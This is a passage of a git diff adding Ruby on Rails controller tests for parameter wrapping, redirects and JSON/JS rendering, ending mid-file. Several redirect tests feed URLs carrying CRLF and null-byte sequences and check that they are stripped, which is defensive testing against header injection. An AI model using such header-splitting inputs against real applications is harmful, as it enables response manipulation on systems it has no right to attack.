+ with_default_wrapper_options do
+ UsersController.wrap_parameters :person
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({ 'username' => 'sikachu', 'person' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_specify_wrapper_model
+ with_default_wrapper_options do
+ UsersController.wrap_parameters Person
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({ 'username' => 'sikachu', 'person' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_specify_include_option
+ with_default_wrapper_options do
+ UsersController.wrap_parameters :include => :username
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_specify_exclude_option
+ with_default_wrapper_options do
+ UsersController.wrap_parameters :exclude => :title
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_specify_both_wrapper_name_and_include_option
+ with_default_wrapper_options do
+ UsersController.wrap_parameters :person, :include => :username
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_not_enabled_format
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/xml'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer' })
+ end
+ end
+
+ def test_wrap_parameters_false
+ with_default_wrapper_options do
+ UsersController.wrap_parameters false
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer' })
+ end
+ end
+
+ def test_specify_format
+ with_default_wrapper_options do
+ UsersController.wrap_parameters :format => :xml
+
+ @request.env['CONTENT_TYPE'] = 'application/xml'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
+ end
+ end
+
+ def test_not_wrap_reserved_parameters
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'authenticity_token' => 'pwned', '_method' => 'put', 'utf8' => '☃', 'username' => 'sikachu' }
+ assert_parameters({ 'authenticity_token' => 'pwned', '_method' => 'put', 'utf8' => '☃', 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_no_double_wrap_if_key_exists
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'user' => { 'username' => 'sikachu' }}
+ assert_parameters({ 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_nested_params
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'person' => { 'username' => 'sikachu' }}
+ assert_parameters({ 'person' => { 'username' => 'sikachu' }, 'user' => {'person' => { 'username' => 'sikachu' }}})
+ end
+ end
+
+ def test_derived_wrapped_keys_from_matching_model
+ User.expects(:respond_to?).with(:attribute_names).returns(true)
+ User.expects(:attribute_names).twice.returns(["username"])
+
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_derived_wrapped_keys_from_specified_model
+ with_default_wrapper_options do
+ Person.expects(:respond_to?).with(:attribute_names).returns(true)
+ Person.expects(:attribute_names).twice.returns(["username"])
+
+ UsersController.wrap_parameters Person
+
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_not_wrapping_abstract_model
+ User.expects(:respond_to?).with(:attribute_names).returns(true)
+ User.expects(:attribute_names).returns([])
+
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
+ end
+ end
+end
+
+class NamespacedParamsWrapperTest < ActionController::TestCase
+ include ParamsWrapperTestHelp
+
+ module Admin
+ module Users
+ class UsersController < ActionController::Base;
+ class << self
+ attr_accessor :last_parameters
+ end
+
+ def parse
+ self.class.last_parameters = request.params.except(:controller, :action)
+ head :ok
+ end
+ end
+ end
+ end
+
+ class SampleOne
+ def self.attribute_names
+ ["username"]
+ end
+ end
+
+ class SampleTwo
+ def self.attribute_names
+ ["title"]
+ end
+ end
+
+ tests Admin::Users::UsersController
+
+ def teardown
+ Admin::Users::UsersController.last_parameters = nil
+ end
+
+ def test_derived_name_from_controller
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
+ end
+ end
+
+ def test_namespace_lookup_from_model
+ Admin.const_set(:User, Class.new(SampleOne))
+ begin
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
+ end
+ ensure
+ Admin.send :remove_const, :User
+ end
+ end
+
+ def test_hierarchy_namespace_lookup_from_model
+ Object.const_set(:User, Class.new(SampleTwo))
+ begin
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+ assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'title' => 'Developer' }})
+ end
+ ensure
+ Object.send :remove_const, :User
+ end
+ end
+
+end
+
+class AnonymousControllerParamsWrapperTest < ActionController::TestCase
+ include ParamsWrapperTestHelp
+
+ tests(Class.new(ActionController::Base) do
+ class << self
+ attr_accessor :last_parameters
+ end
+
+ def parse
+ self.class.last_parameters = request.params.except(:controller, :action)
+ head :ok
+ end
+ end)
+
+ def test_does_not_implicitly_wrap_params
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({ 'username' => 'sikachu' })
+ end
+ end
+
+ def test_does_wrap_params_if_name_provided
+ with_default_wrapper_options do
+ @controller.class.wrap_parameters(:name => "guest")
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu' }
+ assert_parameters({ 'username' => 'sikachu', 'guest' => { 'username' => 'sikachu' }})
+ end
+ end
+end
+
+class IrregularInflectionParamsWrapperTest < ActionController::TestCase
+ include ParamsWrapperTestHelp
+
+ class ParamswrappernewsItem
+ def self.attribute_names
+ ['test_attr']
+ end
+ end
+
+ class ParamswrappernewsController < ActionController::Base
+ class << self
+ attr_accessor :last_parameters
+ end
+
+ def parse
+ self.class.last_parameters = request.params.except(:controller, :action)
+ head :ok
+ end
+ end
+
+ tests ParamswrappernewsController
+
+ def test_uses_model_attribute_names_with_irregular_inflection
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
+ end
+
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, { 'username' => 'sikachu', 'test_attr' => 'test_value' }
+ assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+ end
+ end
+end
diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb
new file mode 100644
index 0000000..f46249d
--- /dev/null
+++ b/actionpack/test/controller/permitted_params_test.rb
@@ -0,0 +1,25 @@
+require 'abstract_unit'
+
+class PeopleController < ActionController::Base
+ def create
+ render text: params[:person].permitted? ? "permitted" : "forbidden"
+ end
+
+ def create_with_permit
+ render text: params[:person].permit(:name).permitted? ? "permitted" : "forbidden"
+ end
+end
+
+class ActionControllerPermittedParamsTest < ActionController::TestCase
+ tests PeopleController
+
+ test "parameters are forbidden" do
+ post :create, { person: { name: "Mjallo!" } }
+ assert_equal "forbidden", response.body
+ end
+
+ test "parameters can be permitted and are then not forbidden" do
+ post :create_with_permit, { person: { name: "Mjallo!" } }
+ assert_equal "permitted", response.body
+ end
+end
diff --git a/actionpack/test/controller/record_identifier_test.rb b/actionpack/test/controller/record_identifier_test.rb
new file mode 100644
index 0000000..ff5d7fd
--- /dev/null
+++ b/actionpack/test/controller/record_identifier_test.rb
@@ -0,0 +1,34 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class ControllerRecordIdentifierTest < ActiveSupport::TestCase
+ include ActionController::RecordIdentifier
+
+ def setup
+ @record = Comment.new
+ end
+
+ def test_dom_id_deprecation
+ assert_deprecated(/dom_id method will no longer be included by default in controllers/) do
+ dom_id(@record)
+ end
+ end
+
+ def test_dom_class_deprecation
+ assert_deprecated(/dom_class method will no longer be included by default in controllers/) do
+ dom_class(@record)
+ end
+ end
+
+ def test_dom_id_from_module_deprecation
+ assert_deprecated(/Calling ActionController::RecordIdentifier.dom_id is deprecated/) do
+ ActionController::RecordIdentifier.dom_id(@record)
+ end
+ end
+
+ def test_dom_class_from_module_deprecation
+ assert_deprecated(/Calling ActionController::RecordIdentifier.dom_class is deprecated/) do
+ ActionController::RecordIdentifier.dom_class(@record)
+ end
+ end
+end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
new file mode 100644
index 0000000..4331333
--- /dev/null
+++ b/actionpack/test/controller/redirect_test.rb
@@ -0,0 +1,344 @@
+require 'abstract_unit'
+
+class WorkshopsController < ActionController::Base
+end
+
+class RedirectController < ActionController::Base
+ # empty method not used anywhere to ensure methods like
+ # `status` and `location` aren't called on `redirect_to` calls
+ def status; render :text => 'called status'; end
+ def location; render :text => 'called location'; end
+
+ def simple_redirect
+ redirect_to :action => "hello_world"
+ end
+
+ def redirect_with_status
+ redirect_to({:action => "hello_world", :status => 301})
+ end
+
+ def redirect_with_status_hash
+ redirect_to({:action => "hello_world"}, {:status => 301})
+ end
+
+ def redirect_with_protocol
+ redirect_to :action => "hello_world", :protocol => "https"
+ end
+
+ def url_redirect_with_status
+ redirect_to("http://www.example.com", :status => :moved_permanently)
+ end
+
+ def url_redirect_with_status_hash
+ redirect_to("http://www.example.com", {:status => 301})
+ end
+
+ def relative_url_redirect_with_status
+ redirect_to("/things/stuff", :status => :found)
+ end
+
+ def relative_url_redirect_with_status_hash
+ redirect_to("/things/stuff", {:status => 301})
+ end
+
+ def redirect_to_back_with_status
+ redirect_to :back, :status => 307
+ end
+
+ def host_redirect
+ redirect_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+ end
+
+ def module_redirect
+ redirect_to :controller => 'module_test/module_redirect', :action => "hello_world"
+ end
+
+ def redirect_with_assigns
+ @hello = "world"
+ redirect_to :action => "hello_world"
+ end
+
+ def redirect_to_url
+ redirect_to "http://www.rubyonrails.org/"
+ end
+
+ def redirect_to_url_with_unescaped_query_string
+ redirect_to "http://dev.rubyonrails.org/query?status=new"
+ end
+
+ def redirect_to_url_with_complex_scheme
+ redirect_to "x-test+scheme.complex:redirect"
+ end
+
+ def redirect_to_url_with_network_path_reference
+ redirect_to "//www.rubyonrails.org/"
+ end
+
+ def redirect_to_back
+ redirect_to :back
+ end
+
+ def redirect_to_existing_record
+ redirect_to Workshop.new(5)
+ end
+
+ def redirect_to_new_record
+ redirect_to Workshop.new(nil)
+ end
+
+ def redirect_to_nil
+ redirect_to nil
+ end
+
+ def redirect_to_with_block
+ redirect_to proc { "http://www.rubyonrails.org/" }
+ end
+
+ def redirect_to_with_block_and_assigns
+ @url = "http://www.rubyonrails.org/"
+ redirect_to proc { @url }
+ end
+
+ def redirect_to_with_block_and_options
+ redirect_to proc { {:action => "hello_world"} }
+ end
+
+ def redirect_with_header_break
+ redirect_to "/lol\r\nwat"
+ end
+
+ def redirect_with_null_bytes
+ redirect_to "\000/lol\r\nwat"
+ end
+
+ def rescue_errors(e) raise e end
+
+ protected
+ def dashbord_url(id, message)
+ url_for :action => "dashboard", :params => { "id" => id, "message" => message }
+ end
+end
+
+class RedirectTest < ActionController::TestCase
+ tests RedirectController
+
+ def test_simple_redirect
+ get :simple_redirect
+ assert_response :redirect
+ assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_redirect_with_header_break
+ get :redirect_with_header_break
+ assert_response :redirect
+ assert_equal "http://test.host/lolwat", redirect_to_url
+ end
+
+ def test_redirect_with_null_bytes
+ get :redirect_with_null_bytes
+ assert_response :redirect
+ assert_equal "http://test.host/lolwat", redirect_to_url
+ end
+
+ def test_redirect_with_no_status
+ get :simple_redirect
+ assert_response 302
+ assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_redirect_with_status
+ get :redirect_with_status
+ assert_response 301
+ assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_redirect_with_status_hash
+ get :redirect_with_status_hash
+ assert_response 301
+ assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_redirect_with_protocol
+ get :redirect_with_protocol
+ assert_response 302
+ assert_equal "https://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_url_redirect_with_status
+ get :url_redirect_with_status
+ assert_response 301
+ assert_equal "http://www.example.com", redirect_to_url
+ end
+
+ def test_url_redirect_with_status_hash
+ get :url_redirect_with_status_hash
+ assert_response 301
+ assert_equal "http://www.example.com", redirect_to_url
+ end
+
+
+ def test_relative_url_redirect_with_status
+ get :relative_url_redirect_with_status
+ assert_response 302
+ assert_equal "http://test.host/things/stuff", redirect_to_url
+ end
+
+ def test_relative_url_redirect_with_status_hash
+ get :relative_url_redirect_with_status_hash
+ assert_response 301
+ assert_equal "http://test.host/things/stuff", redirect_to_url
+ end
+
+ def test_redirect_to_back_with_status
+ @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
+ get :redirect_to_back_with_status
+ assert_response 307
+ assert_equal "http://www.example.com/coming/from", redirect_to_url
+ end
+
+ def test_simple_redirect_using_options
+ get :host_redirect
+ assert_response :redirect
+ assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+ end
+
+ def test_module_redirect
+ get :module_redirect
+ assert_response :redirect
+ assert_redirected_to "http://test.host/module_test/module_redirect/hello_world"
+ end
+
+ def test_module_redirect_using_options
+ get :module_redirect
+ assert_response :redirect
+ assert_redirected_to :controller => 'module_test/module_redirect', :action => 'hello_world'
+ end
+
+ def test_redirect_with_assigns
+ get :redirect_with_assigns
+ assert_response :redirect
+ assert_equal "world", assigns["hello"]
+ end
+
+ def test_redirect_to_url
+ get :redirect_to_url
+ assert_response :redirect
+ assert_redirected_to "http://www.rubyonrails.org/"
+ end
+
+ def test_redirect_to_url_with_unescaped_query_string
+ get :redirect_to_url_with_unescaped_query_string
+ assert_response :redirect
+ assert_redirected_to "http://dev.rubyonrails.org/query?status=new"
+ end
+
+ def test_redirect_to_url_with_complex_scheme
+ get :redirect_to_url_with_complex_scheme
+ assert_response :redirect
+ assert_equal "x-test+scheme.complex:redirect", redirect_to_url
+ end
+
+ def test_redirect_to_url_with_network_path_reference
+ get :redirect_to_url_with_network_path_reference
+ assert_response :redirect
+ assert_equal "//www.rubyonrails.org/", redirect_to_url
+ end
+
+ def test_redirect_to_back
+ @request.env["HTTP_REFERER"] = "http://www.example.com/coming/from"
+ get :redirect_to_back
+ assert_response :redirect
+ assert_equal "http://www.example.com/coming/from", redirect_to_url
+ end
+
+ def test_redirect_to_back_with_no_referer
+ assert_raise(ActionController::RedirectBackError) {
+ @request.env["HTTP_REFERER"] = nil
+ get :redirect_to_back
+ }
+ end
+
+ def test_redirect_to_record
+ with_routing do |set|
+ set.draw do
+ resources :workshops
+ get ':controller/:action'
+ end
+
+ get :redirect_to_existing_record
+ assert_equal "http://test.host/workshops/5", redirect_to_url
+ assert_redirected_to Workshop.new(5)
+
+ get :redirect_to_new_record
+ assert_equal "http://test.host/workshops", redirect_to_url
+ assert_redirected_to Workshop.new(nil)
+ end
+ end
+
+ def test_redirect_to_nil
+ assert_raise(ActionController::ActionControllerError) do
+ get :redirect_to_nil
+ end
+ end
+
+ def test_redirect_to_with_block
+ get :redirect_to_with_block
+ assert_response :redirect
+ assert_redirected_to "http://www.rubyonrails.org/"
+ end
+
+ def test_redirect_to_with_block_and_assigns
+ get :redirect_to_with_block_and_assigns
+ assert_response :redirect
+ assert_redirected_to "http://www.rubyonrails.org/"
+ end
+
+ def test_redirect_to_with_block_and_accepted_options
+ with_routing do |set|
+ set.draw do
+ get ':controller/:action'
+ end
+
+ get :redirect_to_with_block_and_options
+
+ assert_response :redirect
+ assert_redirected_to "http://test.host/redirect/hello_world"
+ end
+ end
+end
+
+module ModuleTest
+ class ModuleRedirectController < ::RedirectController
+ def module_redirect
+ redirect_to :controller => '/redirect', :action => "hello_world"
+ end
+ end
+
+ class ModuleRedirectTest < ActionController::TestCase
+ tests ModuleRedirectController
+
+ def test_simple_redirect
+ get :simple_redirect
+ assert_response :redirect
+ assert_equal "http://test.host/module_test/module_redirect/hello_world", redirect_to_url
+ end
+
+ def test_simple_redirect_using_options
+ get :host_redirect
+ assert_response :redirect
+ assert_redirected_to :action => "other_host", :only_path => false, :host => 'other.test.host'
+ end
+
+ def test_module_redirect
+ get :module_redirect
+ assert_response :redirect
+ assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+ end
+
+ def test_module_redirect_using_options
+ get :module_redirect
+ assert_response :redirect
+ assert_redirected_to :controller => '/redirect', :action => "hello_world"
+ end
+ end
+end
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
new file mode 100644
index 0000000..f070109
--- /dev/null
+++ b/actionpack/test/controller/render_js_test.rb
@@ -0,0 +1,34 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+require 'pathname'
+
+class RenderJSTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ protect_from_forgery
+
+ def self.controller_path
+ 'test'
+ end
+
+ def render_vanilla_js_hello
+ render :js => "alert('hello')"
+ end
+
+ def show_partial
+ render :partial => 'partial'
+ end
+ end
+
+ tests TestController
+
+ def test_render_vanilla_js
+ get :render_vanilla_js_hello
+ assert_equal "alert('hello')", @response.body
+ assert_equal "text/javascript", @response.content_type
+ end
+
+ def test_should_render_js_partial
+ xhr :get, :show_partial, :format => 'js'
+ assert_equal 'partial js', @response.body
+ end
+end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
new file mode 100644
index 0000000..7c0a6bd
--- /dev/null
+++ b/actionpack/test/controller/render_json_test.rb
@@ -0,0 +1,136 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+require 'active_support/logger'
+require 'pathname'
+
+class RenderJsonTest < ActionController::TestCase
+ class JsonRenderable
+ def as_json(options={})
+ hash = { :a => :b, :c => :d, :e => :f }
+ hash.except!(*options[:except]) if options[:except]
+ hash
+ end
+
+ def to_json(options = {})
+ super :except => [:c, :e]
+ end
+ end
+
+ class TestController < ActionController::Base
+ protect_from_forgery
+
+ def self.controller_path
+ 'test'
+ end
+
+ def render_json_nil
+ render :json => nil
+ end
+
+ def render_json_render_to_string
+ render :text => render_to_string(:json => '[]')
+ end
+
+ def render_json_hello_world
+ render :json => ActiveSupport::JSON.encode(:hello => 'world')
+ end
+
+ def render_json_hello_world_with_status
+ render :json => ActiveSupport::JSON.encode(:hello => 'world'), :status => 401
+ end
+
+ def render_json_hello_world_with_callback
+ render :json => ActiveSupport::JSON.encode(:hello => 'world'), :callback => 'alert'
+ end
+
+ def render_json_with_custom_content_type
+ render :json => ActiveSupport::JSON.encode(:hello => 'world'), :content_type => 'text/javascript'
+ end
+
+ def render_symbol_json
+ render :json => ActiveSupport::JSON.encode(:hello => 'world')
+ end
+
+ def render_json_with_render_to_string
+ render :json => {:hello => render_to_string(:partial => 'partial')}
+ end
+
+ def render_json_with_extra_options
+ render :json => JsonRenderable.new, :except => [:c, :e]
+ end
+
+ def render_json_without_options
+ render :json => JsonRenderable.new
+ end
+ end
+
+ tests TestController
+
+ def setup
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ super
+ @controller.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_render_json_nil
+ get :render_json_nil
+ assert_equal 'null', @response.body
+ assert_equal 'application/json', @response.content_type
+ end
+
+ def test_render_json_render_to_string
+ get :render_json_render_to_string
+ assert_equal '[]', @response.body
+ end
+
+
+ def test_render_json
+ get :render_json_hello_world
+ assert_equal '{"hello":"world"}', @response.body
+ assert_equal 'application/json', @response.content_type
+ end
+
+ def test_render_json_with_status
+ get :render_json_hello_world_with_status
+ assert_equal '{"hello":"world"}', @response.body
+ assert_equal 401, @response.status
+ end
+
+ def test_render_json_with_callback
+ get :render_json_hello_world_with_callback
+ assert_equal 'alert({"hello":"world"})', @response.body
+ assert_equal 'text/javascript', @response.content_type
+ end
+
+ def test_render_json_with_custom_content_type
+ get :render_json_with_custom_content_type
+ assert_equal '{"hello":"world"}', @response.body
+ assert_equal 'text/javascript', @response.content_type
+ end
+
+ def test_render_symbol_json
+ get :render_symbol_json
+ assert_equal '{"hello":"world"}', @response.body
+ assert_equal 'application/json', @response.content_type
+ end
+
+ def test_render_json_with_render_to_string
+ get :render_json_with_render_to_string
+ assert_equal '{"hello":"partial html"}', @response.body
+ assert_equal 'application/json', @response.content_type
+ end
+
+ def test_render_json_forwards_extra_options
+ get :render_json_with_extra_options
+ assert_equal '{"a":"b"}', @response.body
+ assert_equal 'application/json', @response.content_type
+ end
+
+ def test_render_json_calls_to_json_from_object
+ get :render_json_without_options
+ assert_equal '{"a":"b"}', @response.body
+ end
+end
diff --git a/actionpack/test/controller/render_other_test.rb b/actionpack/test/controller/render_other_test.rb
new file mode 100644
index 0000000..b5e74e3
--- /dev/null
+++ b/actionpack/test/controller/render_other_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+
+ActionController.add_renderer :simon do |says, options|
+ self.content_type = Mime::TEXT
+ self.response_body = "Simon says: #{says}"
+end
+
+class RenderOtherTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def render_simon_says
+ render :simon => "foo"
+ end
+ end
+
+ tests TestController
+
+ def test_using_custom_render_option
+ get :render_simon_says
+ assert_equal "Simon says: foo", @response.body
+ end
+end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
new file mode 100644
index 0000000..0e5bad7
--- /dev/null
+++ b/actionpack/test/controller/render_test.rb
@@ -0,0 +1,1699 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+require 'pathname'
+
+module Fun
+ class GamesController < ActionController::Base
+ # :ported:
+ def hello_world
+ end
+
+ def nested_partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+ end
+end
+
+module Quiz
+ class QuestionsController < ActionController::Base
+ def new
+ render :partial => Quiz::Question.new("Namespaced Partial")
+ end
+ end
+end
+
+class TestControllerWithExtraEtags < ActionController::Base
+ etag { nil }
+ etag { 'ab' }
+ etag { :cde }
+ etag { [:f] }
+ etag { nil }
+
+ def fresh
+ render text: "stale" if stale?(etag: '123')
+ end
+end
+
+class TestController < ActionController::Base
+ protect_from_forgery
+
+ before_action :set_variable_for_layout
+
+ class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ end
+
+ layout :determine_layout
+
+ def name
+ nil
+ end
+
+ private :name
+ helper_method :name
+
+ def hello_world
+ end
+
+ def hello_world_file
+ render :file => File.expand_path("../../fixtures/hello", __FILE__), :formats => [:html]
+ end
+
+ def conditional_hello
+ if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_record
+ record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+
+ if stale?(record)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_public_header
+ if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_public_header_with_record
+ record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+
+ if stale?(record, :public => true)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_public_header_and_expires_at
+ expires_in 1.minute
+ if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_expires_in
+ expires_in 60.1.seconds
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public
+ expires_in 1.minute, :public => true
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_must_revalidate
+ expires_in 1.minute, :must_revalidate => true
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public_and_must_revalidate
+ expires_in 1.minute, :public => true, :must_revalidate => true
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public_with_more_keys
+ expires_in 1.minute, :public => true, 's-maxage' => 5.hours
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+ expires_in 1.minute, :public => true, :private => nil, 's-maxage' => 5.hours
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_now
+ expires_now
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_cache_control_headers
+ response.headers['Cache-Control'] = 'no-transform'
+ expires_now
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_bangs
+ render :action => 'hello_world'
+ end
+ before_action :handle_last_modified_and_etags, :only=>:conditional_hello_with_bangs
+
+ def handle_last_modified_and_etags
+ fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
+ end
+
+ # :ported:
+ def render_hello_world
+ render :template => "test/hello_world"
+ end
+
+ def render_hello_world_with_last_modified_set
+ response.last_modified = Date.new(2008, 10, 10).to_time
+ render :template => "test/hello_world"
+ end
+
+ # :ported: compatibility
+ def render_hello_world_with_forward_slash
+ render :template => "/test/hello_world"
+ end
+
+ # :ported:
+ def render_template_in_top_directory
+ render :template => 'shared'
+ end
+
+ # :deprecated:
+ def render_template_in_top_directory_with_slash
+ render :template => '/shared'
+ end
+
+ # :ported:
+ def render_hello_world_from_variable
+ @person = "david"
+ render :text => "hello #{@person}"
+ end
+
+ # :ported:
+ def render_action_hello_world
+ render :action => "hello_world"
+ end
+
+ def render_action_upcased_hello_world
+ render :action => "Hello_world"
+ end
+
+ def render_action_hello_world_as_string
+ render "hello_world"
+ end
+
+ def render_action_hello_world_with_symbol
+ render :action => :hello_world
+ end
+
+ # :ported:
+ def render_text_hello_world
+ render :text => "hello world"
+ end
+
+ # :ported:
+ def render_text_hello_world_with_layout
+ @variable_for_layout = ", I am here!"
+ render :text => "hello world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :layout => false
+ end
+
+ # :ported:
+ def render_file_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')
+ render :file => path
+ end
+
+ # :ported:
+ def render_file_as_string_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
+ render path
+ end
+
+ # :ported:
+ def render_file_not_using_full_path
+ @secret = 'in the sauce'
+ render :file => 'test/render_file_with_ivar'
+ end
+
+ def render_file_not_using_full_path_with_dot_in_path
+ @secret = 'in the sauce'
+ render :file => 'test/dot.directory/render_file_with_ivar'
+ end
+
+ def render_file_using_pathname
+ @secret = 'in the sauce'
+ render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
+ end
+
+ def render_file_from_template
+ @secret = 'in the sauce'
+ @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
+ end
+
+ def render_file_with_locals
+ path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')
+ render :file => path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def render_file_as_string_with_locals
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals'))
+ render path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def accessing_request_in_template
+ render :inline => "Hello: <%= request.host %>"
+ end
+
+ def accessing_logger_in_template
+ render :inline => "<%= logger.class %>"
+ end
+
+ def accessing_action_name_in_template
+ render :inline => "<%= action_name %>"
+ end
+
+ def accessing_controller_name_in_template
+ render :inline => "<%= controller_name %>"
+ end
+
+ # :ported:
+ def render_custom_code
